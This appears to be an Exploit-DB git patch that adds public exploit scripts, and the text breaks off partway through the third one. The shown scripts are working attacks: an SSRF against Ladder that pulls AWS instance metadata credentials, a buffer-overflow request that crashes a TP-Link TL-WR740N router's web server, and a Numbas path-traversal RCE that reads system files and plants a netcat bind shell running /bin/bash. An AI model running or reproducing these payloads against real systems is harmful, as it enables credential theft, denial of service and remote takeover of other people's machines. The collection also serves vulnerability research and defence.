From 60a90afc8d6d593c94ff6d3447ea1d584ea6a048 Mon Sep 17 00:00:00 2001 From: Exploit-DB Date: Mon, 11 Mar 2024 00:16:24 +0000 Subject: [PATCH] DB: 2024-03-11 7 changes to exploits/shellcodes/ghdb Ladder v0.0.21 - Server-side request forgery (SSRF) TP-Link TL-WR740N - Buffer Overflow 'DOS' Numbas < v7.3 - Remote Code Execution Akaunting < 3.1.3 - RCE DataCube3 v1.0 - Unrestricted file upload 'RCE' Hide My WP < 6.2.9 - Unauthenticated SQLi --- exploits/go/webapps/51869.txt | 18 +++ exploits/hardware/webapps/51866.txt | 58 ++++++++++ exploits/nodejs/webapps/51867.txt | 167 ++++++++++++++++++++++++++++ exploits/php/webapps/51868.txt | 145 ++++++++++++++++++++++++ exploits/php/webapps/51870.txt | 122 ++++++++++++++++++++ exploits/php/webapps/51871.txt | 21 ++++ files_exploits.csv | 6 + 7 files changed, 537 insertions(+) create mode 100644 exploits/go/webapps/51869.txt create mode 100644 exploits/hardware/webapps/51866.txt create mode 100644 exploits/nodejs/webapps/51867.txt create mode 100644 exploits/php/webapps/51868.txt create mode 100644 exploits/php/webapps/51870.txt create mode 100644 exploits/php/webapps/51871.txt diff --git a/exploits/go/webapps/51869.txt b/exploits/go/webapps/51869.txt new file mode 100644 index 0000000000..22910ed488 --- /dev/null +++ b/exploits/go/webapps/51869.txt @@ -0,0 +1,18 @@ +# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF) +# Date: 2024-01-20 +# Exploit Author: @_chebuya +# Software Link: https://github.com/everywall/ladder +# Version: v0.0.1 - v0.0.21 +# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0) +# CVE: CVE-2024-27620 +# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context. An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs + +import requests +import json + +target_url = "http://127.0.0.1:8080/api/" +imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" + +r = requests.get(target_url + imdsv1_url) +response_json = json.loads(r.text) +print(response_json["body"]) \ No newline at end of file diff --git a/exploits/hardware/webapps/51866.txt b/exploits/hardware/webapps/51866.txt new file mode 100644 index 0000000000..8ce20a2b77 --- /dev/null +++ b/exploits/hardware/webapps/51866.txt @@ -0,0 +1,58 @@ +# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS' +# Date: 8/12/2023 +# Exploit Author: Anish Feroz (ZEROXINN) +# Vendor Homepage: http://www.tp-link.com +# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n +# Tested on: TP-Link TL-WR740N + +#Description: + +#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router. + +#Usage: + +#python3 target username password +#change port, if required + +------------------------------------------------POC----------------------------------------- + +#!/usr/bin/python + +import requests +from requests.auth import HTTPBasicAuth +import base64 + +def send_request(ip, username, password): + auth_url = f"http://{ip}:8082" + target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20" + + credentials = f"{username}:{password}" + encoded_credentials = base64.b64encode(credentials.encode()).decode() + + headers = { + "Host": f"{ip}:8082", + "Authorization": f"Basic {encoded_credentials}", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "close" + } + + session = requests.Session() + + response = session.get(target_url, headers=headers) + + if response.status_code == 200: + print("Server Crashed") + print(response.text) + else: + print(f"Script Completed with status code {response.status_code}") + +ip_address = input("Enter IP address of the host: ") +username = input("Enter username: ") +password = input("Enter password: ") + +send_request(ip_address, username, password) \ No newline at end of file diff --git a/exploits/nodejs/webapps/51867.txt b/exploits/nodejs/webapps/51867.txt new file mode 100644 index 0000000000..147e371ef2 --- /dev/null +++ b/exploits/nodejs/webapps/51867.txt @@ -0,0 +1,167 @@ +# Exploit Title: Numbas < v7.3 - Remote Code Execution +# Google Dork: N/A +# Date: March 7th, 2024 +# Exploit Author: Matheus Boschetti +# Vendor Homepage: https://www.numbas.org.uk/ +# Software Link: https://github.com/numbas/Numbas +# Version: 7.2 and below +# Tested on: Linux +# CVE: CVE-2024-27612 + +import sys, requests, re, argparse, subprocess, time +from bs4 import BeautifulSoup + +s = requests.session() + +def getCSRF(target): + url = f"http://{target}/" + req = s.get(url) + soup = BeautifulSoup(req.text, 'html.parser') + csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value'] + return csrfmiddlewaretoken + +def createTheme(target): + # Format request + csrfmiddlewaretoken = getCSRF(target) + theme = 'ExampleTheme' + boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1' + data = ( + f'--{boundary}\r\n' + 'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n' + '\r\n' + f'{csrfmiddlewaretoken}\r\n' + f'--{boundary}\r\n' + 'Content-Disposition: form-data; name="name"\r\n' + '\r\n' + f'{theme}\r\n' + f'--{boundary}--\r\n' + ) + headers = {'Content-Type': f'multipart/form-data; boundary={boundary}', + 'User-Agent': 'Mozilla/5.0', + 'Accept': '*/*', + 'Connection': 'close'} + + # Create theme and return its ID + req = s.post(f"http://{target}/theme/new/", headers=headers, data=data) + redir = req.url + split = redir.split('/') + id = split[4] + print(f"\t[i] Theme created with ID {id}") + return id + +def login(target, user, passwd): + print("\n[i] Attempting to login...") + + csrfmiddlewaretoken = getCSRF(target) + data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, + 'username': user, + 'password': passwd, + 'next': '/'} + + # Login + login = s.post(f"http://{target}/login/", data=data, allow_redirects=True) + res = login.text + if("Logged in as" not in res): + print("\n\n[!] Login failed!") + sys.exit(-1) + + # Check if logged and fetch ID + usermatch = re.search(r'Logged in as (.*?)', res) + if usermatch: + user = usermatch.group(1) + idmatch = re.search(r'', res) + if idmatch: + id = idmatch.group(1) + print(f"\t[+] Logged in as \"{user}\" with ID {id}") + +def checkVuln(url): + print("[i] Checking if target is vulnerable...") + + # Attempt to read files + themeID = createTheme(url) + target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.." + hname = s.get(f"{target}/etc/hostname") + ver = s.get(f"{target}/etc/issue") + hnamesoup = BeautifulSoup(hname.text, 'html.parser') + versoup = BeautifulSoup(ver.text, 'html.parser') + hostname = hnamesoup.find('textarea').get_text().strip() + version = versoup.find('textarea').get_text().strip() + if len(hostname) < 1: + print("\n\n[!] Something went wrong - target might not be vulnerable.") + sys.exit(-1) + print(f"\n[+] Target \"{hostname}\" is vulnerable!") + print(f"\t[i] Running: \"{version}\"") + + # Cleanup - delete theme + print(f"\t\t[i] Cleanup: deleting theme {themeID}...") + target = f"http://{url}/themes/{themeID}/delete" + csrfmiddlewaretoken = getCSRF(url) + data = {'csrfmiddlewaretoken':csrfmiddlewaretoken} + s.post(target, data=data) + + +def replaceInit(target): + # Overwrite __init__.py with arbitrary code + rport = '8443' + payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])" + csrfmiddlewaretoken = getCSRF(target) + filename = '../../../../numbas_editor/numbas/__init__.py' + themeID = createTheme(target) + data = {'csrfmiddlewaretoken': csrfmiddlewaretoken, + 'source': payload, + 'filename': filename} + + print("[i] Delivering payload...") + # Retry 5 times in case something goes wrong... + for attempt in range(5): + try: + s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10) + except Exception as e: + pass + + # Establish connection to bind shell + time.sleep(2) + print(f"\t[+] Payload delivered, establishing connection...\n") + if ":" in target: + split = target.split(":") + ip = split[0] + else: + ip = str(target) + subprocess.Popen(["nc", "-n", ip, rport]) + while True: + pass + + +def main(): + parser = argparse.ArgumentParser() + if len(sys.argv) <= 1: + print("\n[!] No option provided!") + print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n") + print(f"[i] Usage: python3 {sys.argv[0]}